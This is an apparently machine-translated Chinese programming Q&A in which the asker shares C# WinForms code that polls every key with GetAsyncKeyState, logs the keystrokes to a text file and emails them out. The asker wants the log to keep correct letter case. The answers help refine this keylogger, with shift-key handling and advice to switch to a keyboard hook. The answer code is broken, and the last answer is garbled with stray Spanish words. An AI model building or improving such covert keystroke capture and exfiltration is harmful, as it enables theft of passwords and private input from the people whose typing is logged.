如何在没有大写锁定的情况下捕获击键

本文关键字:情况下 锁定 写锁 | 更新日期: 2023-09-27 17:51:19

我正在制作一个winforms程序,它将捕获我在文本文件中键入的任何内容,但它使所有字符都被大写锁定。我如何使它在输入时捕获它们?例如,如果我输入AbCdEf,它会在文本框中显示AbCdEf…

[DllImport("User32.dll")]
private static extern short GetAsyncKeyState(int vKey);
    private void WriteTotxt(string value)
    {
        StreamWriter str = new StreamWriter("test.txt", true);
        str.Write(value);
        str.Close();
    }
    private void timer1_Tick(object sender, EventArgs e)
    {
        string buffer = "";
        foreach (System.Int32 i in Enum.GetValues(typeof(Keys)))
        {
            if(GetAsyncKeyState(i) == -32767)
                buffer += Enum.GetName(typeof(Keys), i);
        }
        text += buffer;
        if (text.Length > 0)
        {
        WriteTotxt(text);
        text = replaceChars(text);
        Email.Send(text);
        text = "";
        }
    }

如何在没有大写锁定的情况下捕获击键

GetAsyncKeyState仅在键的状态下返回。它没有提到任何修饰符:Shift, Alt等。你可以用GetAsyncKeyState检查shift键是否按下并把它存储在一个布尔值中。当你记录下键和移位时,你把它记为大写。

bool shiftDown = GetAsyncKeyState(Keys.Shift) == -32767; 
foreach (...)
{
    if (GetAsyncKeyState(i) == -32767)
    {
        var key = i.ToString();
        buffer += shiftDown ? i : i.ToLower();
    }
}

我也真的建议你阅读文档,如果你想检查所有的键不使用GetAsyncKeyState,使用键盘钩子。更多信息(示例):这里。因为遍历所有键的速度非常快,所以效率很低。当按键被按下时,回调函数会被触发。

正如其他人提到的,我犹豫是否要进入这个领域,因为键盘记录通常不会有好结果,但是(a)软件已经在市场上,(b)它不像信息已经在MSDN上免费提供,所以…

这并不是说你得到了错误的信息。您正在寻找不完整的信息,只询问字母状态。正如GetAsyncKeyState()页面所解释的,您还需要检查修饰符键,VK_SHIFT, VK_CONTROL, VK_MENU等,以了解它们是否处于活动状态。

使用de event键使用ToUpper()将击键转换为大写;

更多información关于事件按键这里